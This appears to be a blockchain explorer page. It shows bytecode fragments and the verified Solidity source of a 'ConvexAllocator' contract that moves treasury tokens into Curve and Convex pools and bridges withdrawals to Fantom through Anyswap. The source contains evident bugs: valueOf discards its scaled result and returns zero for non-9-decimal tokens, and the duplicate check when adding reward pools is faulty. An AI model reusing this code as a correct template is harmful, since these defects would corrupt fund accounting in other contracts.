d81610771565b9050919050565b600060208201905081810360008301526108fd81610794565b9050919050565b6000602082019050818103600083015261091d816107b7565b9050919050565b6000602082019050818103600083015261093d816107da565b9050919050565b600060208201905061095960008301846107fd565b92915050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b600061099c826109af565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006109e4826109eb565b9050919050565b60006109f6826109fd565b9050919050565b6000610a08826109af565b9050919050565b60005b83811015610a2d578082015181840152602081019050610a12565b83811115610a3c576000848401525b50505050565b600080fd5b6000601f19601f8301169050919050565b7f546f6b656e54696d656c6f636b3a2063757272656e742074696d65206973206260008201527f65666f72652072656c656173652074696d650000000000000000000000000000602082015250565b7f416464726573733a20696e73756666696369656e742062616c616e636520666f60008201527f722063616c6c0000000000000000000000000000000000000000000000000000602082015250565b7f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000600082015250565b7f5361666545524332303a204552433230206f7065726174696f6e20646964206e60008201527f6f74207375636365656400000000000000000000000000000000000000000000602082015250565b7f546f6b656e54696d656c6f636b3a206e6f20746f6b656e7320746f2072656c6560008201527f6173650000000000000000000000000000000000000000000000000000000000602082015250565b610bc6816109a3565b8114610bd157600080fd5b50565b610bdd816109cf565b8114610be857600080fd5b5056fea2646970667358221220e8e7fb30015a0e410e32480de03349c64a9577273bc054a1bf490627852c998264736f6c63430008070033
[ 38 ]
0xf36B818cB55dA53B0666807480a6F5f2EbF80597
// SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ // function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { // require(address(this).balance >= value, "Address: insufficient balance for call"); // return _functionCallWithValue(target, data, value, errorMessage); // } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: value}( data ); return _verifyCallResult(success, returndata, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: weiValue}( data ); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall( target, data, "Address: low-level static call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.3._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall( target, data, "Address: low-level delegate call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.3._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function addressToString(address _address) internal pure returns (string memory) { bytes32 _bytes = bytes32(uint256(_address)); bytes memory HEX = "0123456789abcdef"; bytes memory _addr = new bytes(42); _addr[0] = "0"; _addr[1] = "x"; for (uint256 i = 0; i < 20; i++) { _addr[2 + i * 2] = HEX[uint8(_bytes[i + 12] >> 4)]; _addr[3 + i * 2] = HEX[uint8(_bytes[i + 12] & 0x0f)]; } return string(_addr); } } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transfer.selector, to, value) ); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value) ); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn( token, abi.encodeWithSelector(token.approve.selector, spender, value) ); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).add( value ); _callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, newAllowance ) ); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).sub( value, "SafeERC20: decreased allowance below zero" ); _callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, newAllowance ) ); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall( data, "SafeERC20: low-level call failed" ); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require( abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed" ); } } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); function decimals() external view returns (uint8); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } interface IOwnable { function policy() external view returns (address); function renounceManagement() external; function pushManagement(address newOwner_) external; function pullManagement() external; } contract Ownable is IOwnable { address internal _owner; address internal _newOwner; event OwnershipPushed( address indexed previousOwner, address indexed newOwner ); event OwnershipPulled( address indexed previousOwner, address indexed newOwner ); constructor() { _owner = msg.sender; emit OwnershipPushed(address(0), _owner); } function policy() public view override returns (address) { return _owner; } modifier onlyPolicy() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } function renounceManagement() public virtual override onlyPolicy { emit OwnershipPushed(_owner, address(0)); _owner = address(0); } function pushManagement(address newOwner_) public virtual override onlyPolicy { require( newOwner_ != address(0), "Ownable: new owner is the zero address" ); emit OwnershipPushed(_owner, newOwner_); _newOwner = newOwner_; } function pullManagement() public virtual override { require(msg.sender == _newOwner, "Ownable: must be new owner to pull"); emit OwnershipPulled(_owner, _newOwner); _owner = _newOwner; } } interface ITreasury { function deposit( uint256 _amount, address _token, uint256 _profit ) external returns (uint256 send_); function manage(address _token, uint256 _amount) external; function valueOf(address _token, uint256 _amount) external view returns (uint256 value_); } interface ICurve3Pool { // add liquidity (frax) to receive back FRAX3CRV-f function add_liquidity( address _pool, uint256[4] memory _deposit_amounts, uint256 _min_mint_amount ) external returns (uint256); // remove liquidity (FRAX3CRV-f) to recieve back Frax function remove_liquidity_one_coin( address _pool, uint256 _burn_amount, int128 i, uint256 _min_amount ) external returns (uint256); } //main Convex contract(booster.sol) basic interface interface IConvex { function poolInfo(uint256 pid) external returns ( address lptoken, address token, address gauge, address crvRewards, address stash, bool shutdown ); //deposit into convex, receive a tokenized deposit. parameter to stake immediately function deposit( uint256 _pid, uint256 _amount, bool _stake ) external returns (bool); //burn a tokenized deposit to receive curve lp tokens back function withdraw(uint256 _pid, uint256 _amount) external returns (bool); } //sample convex reward contracts interface interface IConvexRewards { //get balance of an address function balanceOf(address _account) external returns (uint256); //withdraw to a convex tokenized deposit function withdraw(uint256 _amount, bool _claim) external returns (bool); //withdraw directly to curve LP token function withdrawAndUnwrap(uint256 _amount, bool _claim) external returns (bool); //claim rewards function getReward() external returns (bool); //stake a convex tokenized deposit function stake(uint256 _amount) external returns (bool); //stake a convex tokenized deposit for another address(transfering ownership) function stakeFor(address _account, uint256 _amount) external returns (bool); //get rewards for an address function earned(address _account) external view returns (uint256); } interface IAnyswapERC20 { function underlying() external view returns (address); function withdraw(uint256 amount) external returns (uint256); } interface IAnyswapRouter { function anySwapOutUnderlying( address token, address to, uint256 amount, uint256 toChainID ) external; } /** * Contract deploys reserves from treasury into the Convex lending pool, * earning interest and $CVX. */ contract ConvexAllocator is Ownable { /* ======== DEPENDENCIES ======== */ using SafeERC20 for IERC20; using SafeMath for uint256; /* ======== STRUCTS ======== */ struct tokenData { address underlying; address anyswapERC20; uint256 deployed; uint256 returned; } struct rewardPid { address rewardPool; uint256 pid; } /* ======== STATE VARIABLES ======== */ IConvex public immutable booster; // Convex deposit contract //IConvexRewards public rewardPool; // Convex reward contract IAnyswapRouter public immutable anyswapRouter; // anyswap router ICurve3Pool public curve3Pool; // Curve 3Pool address public rewardCollector; mapping(address => tokenData) public tokenInfo; // info for deposited tokens //mapping(address => uint) public pidForReserve; // convex pid for reward pool rewardPid[] pidForReserve; uint256 public totalValueDeployed; // total RFV deployed into lending pool uint256 public totalValueReturned; uint256 public immutable timelockInBlocks; // timelock to raise deployment limit address[] rewardTokens; uint256 constant FTM_CHAINID = 250; uint256 constant INDEX_NOT_FOUND = 999999; address public ftmAddress; address public ftmAddressCandidate; uint256 public immutable ftmAddressChangeTimelock; uint256 public ftmAddressActiveblock; /* ======== CONSTRUCTOR ======== */ constructor( address _anyswapRouter, address _booster, // address _rewardPool, address _curve3Pool, address _rewardCollector, address _ftmAddress, uint256 _ftmAddressChangeTimelock, uint256 _timelockInBlocks ) { require(_anyswapRouter != address(0)); anyswapRouter = IAnyswapRouter(_anyswapRouter); require(_booster != address(0)); booster = IConvex(_booster); // require( _rewardPool != address(0) ); // rewardPool = IConvexRewards( _rewardPool ); require(_curve3Pool != address(0)); curve3Pool = ICurve3Pool(_curve3Pool); require(_rewardCollector != address(0)); rewardCollector = _rewardCollector; timelockInBlocks = _timelockInBlocks; require(_ftmAddress != address(0)); ftmAddress = _ftmAddress; ftmAddressChangeTimelock = _ftmAddressChangeTimelock; } /* ======== OPEN FUNCTIONS ======== */ /** * @notice claims accrued CVX rewards for all tracked crvTokens */ function harvest() public { //claim rewards for all crvTokens for (uint256 i = 0; i < pidForReserve.length; i++) { address rewardPool = pidForReserve[i].rewardPool; require(rewardPool != address(0), "Invalid reward pool address"); //Claim rewards IConvexRewards(rewardPool).getReward(); } for (uint256 i = 0; i < rewardTokens.length; i++) { uint256 balance = IERC20(rewardTokens[i]).balanceOf(address(this)); if (balance > 0) { IERC20(rewardTokens[i]).safeTransfer(rewardCollector, balance); } } } /* ======== POLICY FUNCTIONS ======== */ /** * @notice withdraws asset from treasury, deposits asset into lending pool, then deposits crvToken into convex * @param token address * @param amount uint * @param amounts uint[] * @param minAmount uint * @param pid uint * @param curveToken address */ function deposit( address token, uint256 amount, uint256[4] calldata amounts, uint256 minAmount, uint256 pid, address curveToken ) public onlyPolicy { require(curve3Pool != ICurve3Pool(0), "Invalid curv3pool address"); (address _lptoken, , , address _crvRewards, , ) = booster.poolInfo(pid); require(_lptoken == curveToken, "Invalid curve token address"); //Update pidForReserve _addPidRewardItem(_crvRewards, pid); //treasury.manage( token, amount ); // retrieve amount of asset from treasury // account for deposit //uint value = treasury.valueOf( token, amount ); uint256 value = valueOf(token, amount); accountingFor(token, amount, value, true); IERC20(token).approve(address(curve3Pool), amount); // approve curve pool to spend tokens uint256 curveAmount = curve3Pool.add_liquidity( curveToken, amounts, minAmount ); // deposit into curve IERC20(curveToken).approve(address(booster), curveAmount); // approve to deposit to convex booster.deposit(pid, curveAmount, true); // deposit into convex } function valueOf(address token, uint256 amount) public view returns (uint256 value) { uint256 decimals = IERC20(token).decimals(); if (decimals > 9) { amount.div(10**(decimals - 9)); } else if (decimals < 9) { amount.mul(10**(9 - decimals)); } else { value = amount; } } function _addPidRewardItem(address _rewardPool, uint256 pid) internal { if (pidForReserve.length == 0) pidForReserve.push(rewardPid(_rewardPool, pid)); else { //check for duplication for (uint256 i = 0; i < pidForReserve.length; i++) { if ( pidForReserve[i].rewardPool != _rewardPool && pidForReserve[i].pid != pid ) { pidForReserve.push(rewardPid(_rewardPool, pid)); } } } } function _removePidRewardItem(address _rewardPool, uint256 pid) internal { uint256 index = INDEX_NOT_FOUND; for (uint256 i = 0; i < pidForReserve.length; i++) { if ( pidForReserve[i].rewardPool == _rewardPool && pidForReserve[i].pid == pid ) { index = i; } } //resize array if (index != INDEX_NOT_FOUND) { _removeArrayGap(index); } } function _removeArrayGap(uint256 _index) internal { require(_index < pidForReserve.length, "index out of bound"); for (uint256 i = _index; i < pidForReserve.length - 1; i++) { pidForReserve[i] = pidForReserve[i + 1]; } pidForReserve.pop(); } /** * @notice withdraws crvToken from convex, withdraws from lending pool, then deposits asset into treasury * @param token address * @param amount uint * @param minAmount uint * @param tokenIndexInPool int128 * @param pid uint * @param curveToken address */ function withdraw( address token, uint256 amount, uint256 minAmount, int128 tokenIndexInPool, uint256 pid, address curveToken ) public onlyPolicy { require(curve3Pool != ICurve3Pool(0), "Invalid curv3pool address"); (address _lptoken, , , address _crvRewards, , ) = booster.poolInfo(pid); require(_lptoken == curveToken, "Invalid curve token address"); require(_crvRewards != address(0), "Invalid reward pool address"); IConvexRewards(_crvRewards).withdrawAndUnwrap(amount, false); // withdraw to curve token IERC20(curveToken).approve(address(curve3Pool), amount); // approve 3Pool to spend curveToken curve3Pool.remove_liquidity_one_coin( curveToken, amount, tokenIndexInPool, //order of token in the Curve pool minAmount ); // withdraw from curve uint256 balance = IERC20(token).balanceOf(address(this)); // balance of asset withdrawn // account for withdrawal //uint value = treasury.valueOf( token, balance ); uint256 value = valueOf(token, balance); accountingFor(token, balance, value, false); //IERC20( token ).approve( address( treasury ), balance ); // approve to deposit asset into treasury //treasury.deposit( balance, token, value ); // deposit using value as profit so no HEC is minted IERC20(token).approve(address(anyswapRouter), balance); // approve anyswap router to spend tokens anyswapRouter.anySwapOutUnderlying( tokenInfo[token].anyswapERC20, ftmAddress, balance, FTM_CHAINID ); } function withdrawAnyswapERC20(address anyswapERC20Token, uint256 amount) public onlyPolicy { IAnyswapERC20(anyswapERC20Token).withdraw(amount); } function queueFtmAddress(address _ftmAddress) external onlyPolicy { require(_ftmAddress != address(0)); ftmAddressActiveblock = block.number.add(ftmAddressChangeTimelock); ftmAddressCandidate = _ftmAddress; } function setFtmAddress() external onlyPolicy { require(ftmAddressCandidate != address(0)); require(block.number >= ftmAddressActiveblock, "still in queue"); ftmAddress = ftmAddressCandidate; } /** * @notice adds asset and corresponding crvToken to mapping * @param principleToken address */ function addToken(address principleToken, address anyswapERC20Token) external onlyPolicy { require(anyswapERC20Token != address(0), "invalid anyswap erc20 token"); address token = IAnyswapERC20(anyswapERC20Token).underlying(); require( token != address(0) && principleToken == token, "principle token not matched with anyswap ERC20 underlying token" ); require(tokenInfo[token].deployed <= tokenInfo[token].returned); tokenInfo[token] = tokenData({ underlying: token, anyswapERC20: anyswapERC20Token, deployed: 0, returned: 0 }); } /** * @notice add new reward token to be harvested * @param token address */ function addRewardToken(address token) external onlyPolicy { require(IERC20(token).totalSupply() > 0, "Invalid address"); require(token != address(0)); rewardTokens.push(token); } /* ======== INTERNAL FUNCTIONS ======== */ /** * @notice accounting of deposits/withdrawals of assets * @param token address * @param amount uint * @param value uint * @param add bool */ function accountingFor( address token, uint256 amount, uint256 value, bool add ) internal { if (add) { tokenInfo[token].deployed = tokenInfo[token].deployed.add(amount); // track amount allocated into pool totalValueDeployed = totalValueDeployed.add(value); // track total value allocated into pools } else { // track amount allocated into pool tokenInfo[token].returned = tokenInfo[token].returned.add(amount); // track total value allocated into pools totalValueReturned = totalValueReturned.add(value); } } /* ======== VIEW FUNCTIONS ======== */ /** * @notice query all pending rewards * @return uint */ function rewardsPending() public view returns (uint256) { uint256 rewardAmount; //query all pending rewards for (uint256 i = 0; i < pidForReserve.length; i++) { address rewardPool = pidForReserve[i].rewardPool; require(rewardPool != address(0), "Invalid reward pool address"); rewardAmount += IConvexRewards(rewardPool).earned(address(this)); } return rewardAmount; } }
0x608060405234801561001057600080fd5b506004361061018e5760003560e01c8063876e27d1116100de578063afffd5b711610097578063d5175d2211610071578063d5175d2214610379578063d7d7a93e1461039f578063efbd3004146103a7578063f5dab711146103d35761018e565b8063afffd5b714610361578063c6def07614610369578063c901761d146103715761018e565b8063876e27d1146103315780638f512a2d146103395780639a3eb6e9146103415780639ed1ddba14610349578063a7feb0d214610351578063a968834f146103595761018e565b80634641257d1161014b5780635a96ac0a116101255780635a96ac0a146102d257806360e0d8ab146102da57806363a6b1da146102e25780638010f347146102ea5761018e565b80634641257d1461027657806346f68ee91461027e5780635476bd72146102a45761018e565b80630505c8c914610193578063089208d8146101b75780631c03e6cc146101c15780631eec5a9a146101e75780632f15f45e1461022557806336ba75581461022d575b600080fd5b61019b61042b565b604080516001600160a01b039092168252519081900360200190f35b6101bf61043a565b005b6101bf600480360360208110156101d757600080fd5b50356001600160a01b03166104d1565b610213600480360360408110156101fd57600080fd5b506001600160a01b03813516906020013561062e565b60408051918252519081900360200190f35b6102136106e0565b6101bf600480360360c081101561024357600080fd5b506001600160a01b0381358116916020810135916040820135916060810135600f0b9160808201359160a0013516610704565b6101bf610c8b565b6101bf6004803603602081101561029457600080fd5b50356001600160a01b0316610e6e565b6101bf600480360360408110156102ba57600080fd5b506001600160a01b0381358116916020013516610f5b565b6101bf611175565b61021361121f565b61019b611225565b6101bf600480360361012081101561030157600080fd5b506001600160a01b038135811691602081013591604082019160c08101359160e082013591610100013516611234565b6101bf61167b565b610213611749565b61019b61185a565b61021361187e565b61019b611884565b610213611893565b61019b6118b7565b61019b6118c6565b6102136118ea565b6101bf6004803603602081101561038f57600080fd5b50356001600160a01b03166118f0565b61019b61199f565b6101bf600480360360408110156103bd57600080fd5b506001600160a01b0381351690602001356119ae565b6103f9600480360360208110156103e957600080fd5b50356001600160a01b0316611a71565b604080516001600160a01b03958616815293909416602084015282840191909152606082015290519081900360800190f35b6000546001600160a01b031690565b6000546001600160a01b03163314610487576040805162461bcd60e51b815260206004820181905260248201526000805160206121a4833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907fea8258f2d9ddb679928cf34b78cf645b7feda9acc828e4dd82d014eaae270eba908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461051e576040805162461bcd60e51b815260206004820181905260248201526000805160206121a4833981519152604482015290519081900360640190fd5b6000816001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561055957600080fd5b505afa15801561056d573d6000803e3d6000fd5b505050506040513d602081101561058357600080fd5b5051116105c9576040805162461bcd60e51b815260206004820152600f60248201526e496e76616c6964206164647265737360881b604482015290519081900360640190fd5b6001600160a01b0381166105dc57600080fd5b600880546001810182556000919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30180546001600160a01b0319166001600160a01b0392909216919091179055565b600080836001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561066a57600080fd5b505afa15801561067e573d6000803e3d6000fd5b505050506040513d602081101561069457600080fd5b505160ff16905060098111156106bb576106b5836008198301600a0a611aa5565b506106d9565b60098110156106d5576106b5836009839003600a0a611af0565b8291505b5092915050565b7f000000000000000000000000000000000000000000000000000000000000708081565b6000546001600160a01b03163314610751576040805162461bcd60e51b815260206004820181905260248201526000805160206121a4833981519152604482015290519081900360640190fd5b6002546001600160a01b03166107aa576040805162461bcd60e51b8152602060048201526019602482015278496e76616c6964206375727633706f6f6c206164647265737360381b604482015290519081900360640190fd5b6000807f000000000000000000000000f403c135812408bfbe8713b5a23a04b3d48aae316001600160a01b0316631526fe27856040518263ffffffff1660e01b81526004018082815260200191505060c060405180830381600087803b15801561081357600080fd5b505af1158015610827573d6000803e3d6000fd5b505050506040513d60c081101561083d57600080fd5b50805160609091015190925090506001600160a01b03808316908416146108ab576040805162461bcd60e51b815260206004820152601b60248201527f496e76616c696420637572766520746f6b656e20616464726573730000000000604482015290519081900360640190fd5b6001600160a01b038116610906576040805162461bcd60e51b815260206004820152601b60248201527f496e76616c69642072657761726420706f6f6c20616464726573730000000000604482015290519081900360640190fd5b806001600160a01b031663c32e72028860006040518363ffffffff1660e01b815260040180838152602001821515815260200192505050602060405180830381600087803b15801561095757600080fd5b505af115801561096b573d6000803e3d6000fd5b505050506040513d602081101561098157600080fd5b50506002546040805163095ea7b360e01b81526001600160a01b039283166004820152602481018a905290519185169163095ea7b3916044808201926020929091908290030181600087803b1580156109d957600080fd5b505af11580156109ed573d6000803e3d6000fd5b505050506040513d6020811015610a0357600080fd5b5050600254604080516314f6943160e11b81526001600160a01b038681166004830152602482018b9052600f89900b6044830152606482018a9052915191909216916329ed28629160848083019260209291908290030181600087803b158015610a6c57600080fd5b505af1158015610a80573d6000803e3d6000fd5b505050506040513d6020811015610a9657600080fd5b5050604080516370a0823160e01b815230600482015290516000916001600160a01b038b16916370a0823191602480820192602092909190829003018186803b158015610ae257600080fd5b505afa158015610af6573d6000803e3d6000fd5b505050506040513d6020811015610b0c57600080fd5b505190506000610b1c8a8361062e565b9050610b2b8a83836000611b49565b896001600160a01b031663095ea7b37f0000000000000000000000006b7a87899490ece95443e979ca9485